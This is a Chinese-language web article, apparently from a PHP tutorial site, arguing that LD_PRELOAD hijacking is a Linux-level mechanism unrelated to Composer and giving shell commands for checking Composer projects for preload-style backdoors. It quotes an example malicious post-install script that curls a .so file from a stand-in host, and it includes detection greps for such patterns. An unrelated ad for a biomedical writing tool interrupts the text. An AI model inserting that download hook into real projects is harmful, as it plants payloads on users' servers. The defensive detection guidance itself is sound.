针对Composer库中潜在的LD_PRELOAD后门植入检测方案-composer-PHP中文网

ld_preload 与 composer 无关，它是 linux 系统级动态链接机制，影响二进制程序；composer 仅管理 php 用户态依赖，不涉及 dlopen 或 rtld_preload。

针对composer库中潜在的ld_preload后门植入检测方案

LD_PRELOAD 和 Composer 本身没有直接关系——它属于 Linux 动态链接机制，不是 PHP 或 Composer 的功能组件。你在 Composer 项目里不会、也不该看到 LD_PRELOAD 被用于“库注入”，更不存在所谓“Composer 库中的 LD_PRELOAD 后门”。

这个提法混淆了两个完全不同的攻击面：

LD_PRELOAD 是操作系统级环境变量，影响所有动态链接的二进制程序（如 php、sshd、curl），在进程启动时强制加载指定的 .so 文件；
Composer 管理的是 PHP 的 用户态依赖包（.php 文件、autoload 规则、命令行脚本等），运行在 PHP 解释器内，不涉及 dlopen() 或 RTLD_PRELOAD。

所以，如果你在排查 Composer 项目，却去检查 LD_PRELOAD，大概率是在错误的方向上浪费时间。

为什么有人会把 LD_PRELOAD 和 Composer 混在一起？

常见误解来源有三：

Discussion Composer

围绕关键发现、作用机制、临床相关性及研究局限性展开讨论。适用于撰写或优化任何生物医学论文的“讨论（Discussion）”部分——包括结果解读、与既往文献关联、阐释意外发现、界定研究局限性，以及撰写结论。当用户输入以下任一指令时也会自动触发该功能： - “write my discussion” - “help me discuss my findings” - “how do I compare to prior studies” - “write the limitations par

下载

看到恶意 Composer 包里包含 shell_exec("export LD_PRELOAD=...") 这类代码 —— 但该语句在 PHP 中完全无效：子进程不会继承父进程的 LD_PRELOAD，且 export 只作用于当前 shell 环境，PHP 的 exec() 启动的是干净子 shell
误将“通过 Composer 安装了一个带 system() 的后门包”等同于 “LD_PRELOAD 注入”，其实前者是 PHP 层执行命令，后者是 C 层劫持函数调用
应急响应中发现服务器被 LD_PRELOAD 注入，又恰好这台机器跑着 Composer 项目，于是错误归因

Composer 项目真正该防的“preload 类”风险

虽然不是 LD_PRELOAD，但有几类行为在语义和危害上与之接近，值得重点盯防：

composer.json 中的 scripts 字段执行危险命令：比如 "post-install-cmd": "curl -s http://mal.io/x.so -o /tmp/x.so && chmod +x /tmp/x.so" —— 这是为后续手动设置 LD_PRELOAD 铺路，但 Composer 自身不干这事
插件（Plugin）在 activate() 里调用 putenv("LD_PRELOAD=/tmp/...") —— 无效，但说明作者有 preload 意图；真正生效需配合外部进程（如用该 PHP 进程 fork 出 sh 再 exec 其他程序）
恶意包提供 bin 目录下的可执行文件（如 vendor/acme/tool/bin/runner），该文件是编译好的 ELF，内部硬编码 dlopen("/tmp/xxx.so", RTLD_LAZY) —— 这才是能落地的 preload 式劫持，但触发点不在 Composer，而在你手动运行那个二进制

如何快速排除 Composer 项目是否参与了 LD_PRELOAD 攻击链

只需三步，不依赖任何第三方工具：

检查所有 composer.json 里的 scripts（尤其是 post-* 和 pre-*），grep 出现 LD_PRELOAD、export.*SO、curl.*\.so、wget.*\.so 的行：grep -nri "LD_PRELOAD\|\.so.*curl\|\.so.*wget" . --include="composer.json"
检查 vendor/bin/ 下是否有非 PHP 的可执行文件：file vendor/bin/* 2>/dev/null | grep "ELF.*executable"；对每个 ELF 执行 readelf -d ./vendor/bin/xxx | grep NEEDED，看是否硬依赖可疑 .so
确认当前 PHP 进程是否被外部 preload：运行 cat /proc/$(pgrep -f 'php.*composer')/environ 2>/dev/null | tr '\0' '\n' | grep LD_PRELOAD —— 如果输出非空，说明系统级已被污染，和 Composer 无关，要查 shell 配置或 /etc/ld.so.preload